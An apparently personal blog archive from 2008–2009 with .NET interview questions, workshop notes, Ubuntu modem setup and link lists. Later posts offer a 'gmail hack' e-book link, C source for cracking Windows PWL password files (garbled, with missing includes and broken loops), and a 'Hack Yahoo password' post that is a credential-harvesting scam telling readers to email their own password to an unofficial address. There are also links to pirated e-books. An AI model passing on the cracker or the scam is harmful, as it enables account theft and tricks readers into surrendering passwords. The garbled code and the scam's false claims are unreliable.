37.How’s the DLL Hell problem solved in .NET? Assembly versioning allows the application to specify not only the library it needs to run (which was available under Win32), but also the version of the assembly.

38.What are the ways to deploy an assembly? An MSI installer, a CAB archive, and XCOPY command.

39.What’s a satellite assembly? When you write a multilingual or multi-cultural application in .NET, and want to distribute the core application separately from the localized modules, the localized assemblies that modify the core application are called satellite assemblies.

40.What namespaces are necessary to create a localized application? System.Globalization, System.Resources.

41.What’s the difference between // comments, /* */ comments and /// comments? Single-line, multi-line and XML documentation comments.

42.How do you generate documentation from the C# file commented properly with a command-line compiler? Compile it with a /doc switch.

43.What’s the difference between and

 XML documentation tag? Single line code example and multiple-line code example. 

44.Is XML case-sensitive? Yes, so  and  are different elements. 

45.What debugging tools come with the .NET SDK? CorDBG – command-line debugger, and DbgCLR – graphic debugger. Visual Studio .NET uses the DbgCLR. To use CorDbg, you must compile the original C# file using the /debug switch. 

46.What does the This window show in the debugger? It points to the object that’s pointed to by this reference. Object’s instance data is shown. 

47.What does assert() do? In debug compilation, assert takes in a Boolean condition as a parameter, and shows the error dialog if the condition is false. The program proceeds without any interruption if the condition is true. 

48.What’s the difference between the Debug class and Trace class? Documentation looks the same. Use Debug class for debug builds, use Trace class for both debug and release builds. 

49.Why are there five tracing levels in System.Diagnostics.TraceSwitcher? The tracing dumps can be quite verbose and for some applications that are constantly running you run the risk of overloading the machine and the hard drive there. Five levels range from None to Verbose, allowing to fine-tune the tracing activities. 

50.Where is the output of TextWriterTraceListener redirected? To the Console or a text file depending on the parameter passed to the constructor. 

51.How do you debug an ASP.NET Web application? Attach the aspnet_wp.exe process to the DbgClr debugger. 

52.What are three test cases you should go through in unit testing? Positive test cases (correct data, correct output), negative test cases (broken or missing data, proper handling), exception test cases (exceptions are thrown and caught properly). 

53.Can you change the value of a variable while debugging a C# application? Yes, if you are debugging via Visual Studio.NET, just go to Immediate window. 

54.Explain the three services model (three-tier application). Presentation (UI), business (logic and underlying code) and data (from storage or other sources). 

55.What are advantages and disadvantages of Microsoft-provided data provider classes in ADO.NET? SQLServer.NET data provider is high-speed and robust, but requires SQL Server license purchased from Microsoft. OLE-DB.NET is universal for accessing other sources, like Oracle, DB2, Microsoft Access and Informix, but it’s a .NET layer on top of OLE layer, so not the fastest thing in the world. ODBC.NET is a deprecated layer provided for backward compatibility to ODBC engines. 

56.What’s the role of the DataReader class in ADO.NET connections? It returns a read-only dataset from the data source when the command is executed. 

57.What is the wildcard character in SQL? Let’s say you want to query database with LIKE for all employees whose name starts with La. The wildcard character is %, the proper query with LIKE would involve ‘La%’. 

58.Explain ACID rule of thumb for transactions. Transaction must be Atomic (it is one unit of work and does not dependent on previous and following transactions), Consistent (data is either committed or roll back, no “in-between” case where something has been updated and something hasn’t), Isolated (no transaction sees the intermediate results of the current transaction), Durable (the values persist if the data had been committed even if the system crashes right after). 

59.What connections does Microsoft SQL Server support? Windows Authentication (via Active Directory) and SQL Server authentication (via Microsoft SQL Server username and passwords). 

60.Which one is trusted and which one is untrusted? Windows Authentication is trusted because the username and password are checked with the Active Directory, the SQL Server authentication is untrusted, since SQL Server is the only verifier participating in the transaction. 

61.Why would you use untrusted verificaion? Web Services might use it, as well as non-Windows applications. 

62.What does the parameter Initial Catalog define inside Connection String? The database name to connect to. 

63.What’s the data provider name to connect to Access database? Microsoft.Access.
 
64.What does Dispose method do with the connection object? Deletes it from the memory. 

65.What is a pre-requisite for connection pooling? Multiple processes must agree that they will share the same connection, where every parameter is the same, including the security settings.



To be an ideal IT Practitioner
2009-11-14T18:10:00.001+06:00
Today I went to the workshop conducted by the Bangladesh Computer Council.ىThis type of workshop is really rare one for me, as I think that many things and topics I have learnt from the speakers of that session. At various level from many great persons, I have heard various important topics. Some of those important topics( Those I can remember now) are as follows:

To be a perfect software developer, the following topics help us:

Software developing is the part of Information Technology. and

IT for
     ---Education
     ---Business
     ---Profession
     ---Style

Be SMART: to be a good IT practitioner
S........Specific
M........Measurable
A........Attainable
R........Realistic
T........Timeline

A student should perform task pro actively, as reactive work doesn't proves the right quality of a person.

Problems are natural incidents in our life. The problems of our profession should be replaced by Challenges.

Every one of this profession should be ready with an Elevator Pitch, which is the selling point of one. In the CV that has to be focused.

Everyone comes to this profession just to sell oneself. For this case the following topics teached us" How to self yourself in the market:

1. Communication Skill
2. Leadership skill
3. Team Work
4. Confidence
5. Networking and Sociolization
6. IT knowledge
7.Knowledge of current affairs
8. Time management

A software engineer must be able to see the problem with business vision. as coding can not be the main part of software development. In a total software development process coding occupies just near to 20% of total effort. Another four important features are as:

1.Commitment
2.Enthusiasm
3. Dedication
4.Obligation

In any profession, assignment is the main task to perform. To provide a successful assignment we can follow:

KISS
K-Keep
I-it
S- Short &
S- Specific

Success comes to us by the three steps as:
1. Right attitude
2. Technical Skill
3. Attitude, skill and application

Features of right attitudes:
## winning mentality
## Learning focus
## Team Spirit
##Basic Integrity
##respect to Discipline

Try to adopt this. Really the session was so attractive.


To get a sketch
2009-11-13T22:32:00.001+06:00
Many times we are in need of sketch image for various reason, ie. for the image of a profile. and it a nice solution that providing the poriginal image. As many time a group may use your profile picture illegally. Sketch image is a solution for this type of problem, Here is a link that provides a sketch image of you from a original one.
 
Sketch your image instantly

-- 
Paul OM
 


A site to get the ringtones via composer of Nokia
2009-11-01T22:09:00.001+06:00
You can easily get a beautiful ringtone through this site. Enjoy now.....
Nokia Ringtones

-- 
Paul OM
 


To take part at online quiz on Computer Science
2009-10-24T22:32:00.000+06:00
Greek Interview
Online C# Tutorials
A active site to help on C# for using in ASP.net
Accelebrate.com


BCC and BASIS
2009-10-21T21:41:00.000+06:00
Today I have got the admit card for the exam of 7th Internship program of Bangladesh Computer Council. And at 24th October the certificate of the training of OOP coducted by BASIS will be issues by the ICT minister of Bangladesh. But it is a matter of great sorrow for me that, for being busy on another business I am not able to join on the Certificate giving Ceremony. Its really a big ill fate for me


Don't be upset, Success is coming
2009-10-13T19:20:00.000+06:00
A fresh Computer Science Graduate may lost his/her motive for the ignorance of the current software industry. Its a natural scenario of present period. I am a graduate of CS. I feel so with my experience(not good for me, its bad). So for the students or the graduates of CS I provide some data which may be necessary to them for building themselves.

Concept of Computer science Clinic

To be enorlled as a internship employee to any organization is so tough. For this reason, to take online intership, you can follow:

How to get hired

Prepare to face the Interview:


To get a research Topic
2009-10-12T22:20:00.000+06:00


Are you want to research on you subject, Computer Science. And you are worrying about the topic to research. don't worry then. Follow the following link:

Topic Generator 

Creating vision for computing research:
 Vision of research 


HOw to use the GP usb modem at Ubuntu
2009-08-29T12:18:00.000+06:00
Be honest && Use ubuntu for you Computer
Connect your phone via data cable
Open terminal & type
lsusb
Now u will get the following output
*sam@sam-desktop:~$ lsusb
 Bus 003 Device 001: ID 0000:0000
 Bus 002 Device 001: ID 0000:0000
 Bus 001 Device 003: ID 0421:04f0 Nokia Mobile Phones
 Bus 001 Device 001: ID 0000:0000
*it will as per user name
Now note the line in which Nokia Mobile Phones is written...it has two number one is
0421 & other is 0445...we’ll take these numbers as 0×421 & 0×445
0421 is the Vendor ID (vid) & 04f0 is the Product ID (pid)
Now enter this command.
sudo /sbin/modprobe usbserial vendor=0x(vid) product=0x(pid)
eg, in my case::: sudo /sbin/modprobe usbserial vendor=0×421 product=0×4f0
Now enter this command
wvdialconf create
you’ll get a long output which will be like -
sam@sam-desktop:~$ sudo /sbin/modprobe usbserial vendor=0×421 product=0×4f0
Password:
riaz@riaz-desktop:~$ wvdialconf creat
Editing `creat’.
Scanning your serial ports for a modem.
ttyS0: ATQ0 V1 E1 — failed with 2400 baud, next try: 9600 baud
ttyS0: ATQ0 V1 E1 — failed with 9600 baud, next try: 115200 baud
ttyS0: ATQ0 V1 E1 — and failed too at 115200, giving up.
Modem Port Scan: S1 S2 S3
WvModem: Cannot get information for serial port.
ttyACM0: ATQ0 V1 E1 — OK
ttyACM0: ATQ0 V1 E1 Z — OK
ttyACM0: ATQ0 V1 E1 S0=0 — OK
ttyACM0: ATQ0 V1 E1 S0=0 &C1 — OK
ttyACM0: ATQ0 V1 E1 S0=0 &C1 &D2 — OK
ttyACM0: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 — OK
ttyACM0: Modem Identifier: ATI — Nokia
ttyACM0: Speed 4800: AT — OK
ttyACM0: Speed 9600: AT — OK
ttyACM0: Speed 19200: AT — OK
ttyACM0: Speed 38400: AT — OK
ttyACM0: Speed 57600: AT — OK
ttyACM0: Speed 115200: AT — OK
ttyACM0: Speed 230400: AT — OK
ttyACM0: Speed 460800: AT — OK
ttyACM0: Max speed is 460800; that should be safe.
ttyACM0: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0 — OK
WvModem: Cannot get information for serial port.
ttyUSB0: ATQ0 V1 E1 — failed with 2400 baud, next try: 9600 baud
ttyUSB0: ATQ0 V1 E1 — failed with 9600 baud, next try: 115200 baud
ttyUSB0: ATQ0 V1 E1 — and failed too at 115200, giving up.
Found an USB modem on /dev/ttyACM0.
creat: Can’t open ‘creat’ for reading: No such file or directory
creat: ...starting with blank configuration.
Modem configuration written to creat.
ttyACM0: Speed 460800; init “ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0′′
Now.. Notice the output says that there is a modem at /dev/ttyACM0 & max speed is
460800
Now enter this command
sudo gedit /etc/wvdial.conf
A file will open in text editor...now delete everything in that file & paste the following
there
[Dialer Defaults]
Modem = Your Modem Name (eg, /dev/ttyACM0 in my case)
Baud = your max speed (460800 in my case)
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ISDN = 0
Modem Type = Analog Modem
Phone = *99#
Username = gp
Password = gp
Stupid Mode = 1
Save the file & you are done
Now whenever u need to connect...open terminal & type wvdial,, wait till some sort of
IP address is displayed like
pppd: [06][06][08]` [06][08]
primary DNS address 218.248.240.135
pppd: [06][06][08]` [06][08]
secondary DNS address 218.248.240.79
pppd:    [06][06][08]` [06][08]
Now you are connected....hit cntrl+c to disconnect...
U can also create a launcher on desktop (application in terminal) & keep the command as
wvdial.now double click it & u r connected
For Download UBUNTU Click Here:
http://mirror.u-soft.dk/ubuntu-releases/hardy/ubuntu-8.04-server-i386.iso
Ubuntu Edition: Ubuntu 8.04 server
Computer Platform: i386
Download Location: http://mirror.u-soft.dk/ubuntu-releases/







By following the above steps, I have got mywvdial.config file as below. So the user of GP modem, can use the following code as that file:


[Dialer Defaults]
Modem = /dev//ttyUSB0
Baud = 9600
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ISDN = 0
Modem Type = Analog Modem
Phone = *99#
Username = gp
Password = gp
Stupid Mode = 1



HuFa: Human Face Recognition
2009-08-21T22:06:00.000+06:00


On the basis of artificial neural network, if we try to build a system for human face recognition system, we can take the following input vector. On the Project based on PredictDemo, I used the above input vectors.


Linux's
2009-08-21T12:22:00.000+06:00
For Beginners:
Linux Reviewers
Learn Linux
Low fat Linux

Linux Course for beginners:
Lessons for beginners

Some links:
Linux Commands
 LInux at Onlamp
COmmands of linux
Pixel bit
Commands
Linux Commands on ss64
Linux shortcut on unix guide



Learn to use Linux
Linux use


Who doesn't want to Hack??????
2009-07-02T00:46:00.001+06:00
g mail hack e-book

i find a g mail hacking e book
download link:
http://rapidshare.com/files/246152135/gmail_hank.rar

download size 7.5 mb
u can easily hack g mail by the help of this book
send your comments 


-- 
Om


Some Links of OOP
2009-04-25T20:20:00.000+06:00
Dear all,
here I am sharing some sites which may be helpful in your learning .So, explore through the world of knowledge and have fun.

www.sqabd.com
www.codeproject.com
www.planet-source-code.com
www.guru.com
www.testdriven.com
www.csharp-online.net
www.c-sharpcorner.com
www.csharp-tutorials.com
www.codeguru.com
www.functionx.com/
www.csharpkey.com/

http://www.limeexchange.com/


Hot and Hit Blog
2009-04-02T19:04:00.000+06:00
Read this blog quickly for the OOP purpose:
http://arcanecode.wordpress.com/arcane-lessons/


Artificial Neural Network: Course 523
2008-09-25T17:27:00.000+06:00
Addresses of various websites containning ANN:
http://en.wikipedia.org/wiki/Artificial_neural_network

http://www.bcp.psych.ualberta.ca/~mike/Software/

http://www.ozgrid.com/Services/neural-network-software.htm

http://www.neural-forecasting.com/

http://savannah.nongnu.org/projects/libann/

http://www.nd.com/

http://www.google.com/Top/Computers/Artificial_Intelligence/Neural_Networks/Software/

For Source Code:
ftp://ftp.sas.com/pub/neural/FAQ5.html#A_source

For Freeware and Shareware:
ftp://ftp.sas.com/pub/neural/FAQ5.html#A18

For Neural Network Programs:
http://www.simtel.net/category.php%5Bid%5D207%5BSiteID%5Dsimtel.net
http://www.dmoz.org/Computers/Artificial_Intelligence/Neural_Networks/Software/

#30 days Evaluation version software:
http://www.download.com/ANNI-Std-Artificial-Neural-Network-Investing/3000-2057_4-10228650.html

#free software directory:
http://directory.fsf.org/category/ai/


All Password
2008-08-21T20:43:00.000+06:00
Source Code To retrieve any password of computer 
# include 
# include 
# include 
# include 
# include 
# include 
# include 

unsigned char huge Data[100001]; 
unsigned char keystream[1001]; 
int Rpoint[300]; 

void main(int argc,char *argv[]){ 
FILE *fd; 
int i,j; 
int size; 
char ch; 
char *name; 
int cracked; 
int sizemask; 
int maxr; 
int rsz; 
int pos; 
int Rall[300]; /* Resourse allocation table */ 

if(argc<2){ 
printf("usage: glide filename (username)"); 
exit(1); 
} 
/* Read PWL file */ 

fd=fopen(argv[1],"rb"); 
if(fd==NULL){ 
printf("can't open file %s",argv[1]); 
exit(1); 
} 
size=0; 
while(!feof(fd)){ 
Data[size++]=fgetc(fd); 
} 
size--; 
fclose(fd); 

/* Find Username */ 
name=argv[1]; 
if(argc>2)name=argv[2]; 
printf("Username:%s 
",name); 

/* Copy encrypted text into keystream */ 
cracked=size-0x0208; 
if(cracked<0)cracked=0; 
if(cracked>1000)cracked=1000; 
memcpy(keystream,Data+0x208,cracked); 

/* Generate 20 bytes of keystream */ 
for(i=0;i<20;i++){ 
ch=toupper(name[i]); 
if(ch==0)break; 
if(ch=='.')break; 
keystream[i]^=ch; 
}; 
cracked=20; 

/* Find allocated resources */ 

sizemask=keystream[0]+(keystream[1]<<8); 
printf("Sizemask:%04X 
",sizemask); 

for(i=0;i<256;i++){ 
if(Data[i]!=0xff){ 
Rall[Data[i]]++; 
if(Data[i]>maxr)maxr=Data[i]; 
} 
} 

maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be 
divisible by 16 */ 

/*Search after resources */ 

Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */ 
for(i=0;i /* Find the size of current resourse */ 
pos=Rpoint[i]; 
rsz=Data[pos]+(Data[pos+1]<<8); 
rsz^=sizemask; 
printf("Analysing block with size:%04x (%d:%d) 
",rsz,i,Rall[i]); 
if((Rall[i]==0)&&(rsz!=0)){ 
printf("Unused resourse has nonzero size!!! 
"); 
printf("If last line produed any:You may try to recover 
"); 
printf("Press y to attempt the recovery 
"); 
ch=getch(); 
if(ch!='y')exit(0); 
rsz=2; 
i=i-1; 
} 
pos=pos+rsz; 

/* Resourse have a tedency to have the wrong size for some reason*/ 
/* Chech for correct size*/ 

if(i while(Data[pos+3]!=keystream[1]){ 
printf(":",Data[pos+3]); 
pos=pos+2; /* Very rude may fail */ 
} 
} 
pos+=2; /* Include pointer in size */ 
Rpoint[i+1]=pos; 
} 
Rpoint[maxr]=size; 
/* Insert Table data into keystream*/ 
for(i=0;i<=maxr;i++){ 
keystream[20+2*i]^=Rpoint[i] & 0x00ff; 
keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff; 
} 
cracked+=maxr*2+2; 
printf("%d Bytes of ketstream recoverd 
",cracked); 

/* Decrypt resources */ 
for(i=0;i rsz=Rpoint[i+1]-Rpoint[i]; 
if(rsz>cracked)rsz=cracked; 
printf("Resource[%d](%d) 
",i,rsz); 
for(j=0;j printf("%c",Data[Rpoint[i]+j]^keystream[j]); 
printf(" 
"); 
} 
exit(0); 
}


Hack Yahoo password in two minutes
2008-08-21T20:23:00.000+06:00
hack yahoo password in 2 mins
Need to hack yahoo passwords?
It is possible and it is easy. This way of hacking
into Yahoo email
accounts was brought to my attention by a friend of
mine who is a bit of a
computer wizard. I have tried the method a least a
dozen times and it has
worked on all but 2 occasions, I don't know the reason
why it failed a
couple of times, but on every other occasion it has
got me the password for
the requested email address. This is how it is done:
STEP 1- Log in to your own yahoo account. Note: Your
account must be at
least 30 days old for this to work.
STEP 2- Once you have logged into your own account,
compose/write an e-mail
to: cgi_asp67_php3_6383@yahoo.com This is a mailing
address to the Yahoo
Staff. The automated server will send you the password
that you have
'forgotten', after receiving the information you send
them.
STEP 3- In the subject line type exactly: " PASSWORD
RECOVERY "
STEP 4- On the first line of your mail write the email
address of the person
you are hacking.
STEP 5- On the second line type in the e-mail address
you are using.
STEP 6- On the third line type in the password to YOUR
email address (your
OWN password). The computer needs your password so it
can send a JavaScript
from your account in the Yahoo Server to extract the
other email addresses
password. In other word the system automatically
checks your password to
confirm the integrity of your status.
The process will be done automatically by the user
administration server. STEP 7- The final step before
sending the mail is,
type on the fourth line the following code exactly:
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}

enjoy


Connect to the book to gather Knowledge
2008-08-10T18:01:00.000+06:00
We can easily collect most of our necessary books form the Internet. There are some links for downloading the books from net are given below:



E-books:--------

Python 2.1 Bible.zipdownload: 

http://w11.easy-share.com/887198.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Linux-linux bible 2006 edition boot up to fedora knoppix debian suse ubuntu and 7 other distributions jan 2006 ebook-ddu.zipdownload: 

http://w11.easy-share.com/887189.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Hacking-Wiley - Reversing Secrets of Reverse Engineering.zipdownload: 

http://w11.easy-share.com/887120.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Security-firewallPolicies.zipdownload:

http://w10.easy-share.com/887105.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Perl-beginning perl web development - from novice to professional (2006).pdfdownload:

http://w11.easy-share.com/886571.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Security-Internet Security.zipdownload:

http://w10.easy-share.com/886524.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Hacking - web applications (hacking exposed).zipdownload: 

http://w11.easy-share.com/886462.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Hacking-Syngress.Buffer.Overflow.Attacks.Dec.2004.ISBN1932266674.pdfdownload: 

http://w10.easy-share.com/883364.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

hacking-Wiley - Reversing Secrets of Reverse Engineering.zipdownload:

http://w11.easy-share.com/887120.html

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Network Security E-bookLink -

http://w10.easy-share.com/886524.html 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Networking e-books Downloadlink to the File:

http://rapidshare.com/users/6HEZQI xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Office 2003 e-books Downloadlink to the File:

http://rapidshare.com/users/3A40EV xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Programing e-books Downloadlink to the File:

http://rapidshare.com/users/OCEDU4



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Security e-books Downloadlink to the File:

http://rapidshare.com/users/P7M9C8 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Mac OS X e-books Downloadlink to the File:

http://rapidshare.com/users/8D0O99 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Linux e-books Downloadlink to the File:

http://rapidshare.com/users/9VC8MU xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Cisco e-books Downloadlink to the File:

http://rapidshare.com/users/KF1YLD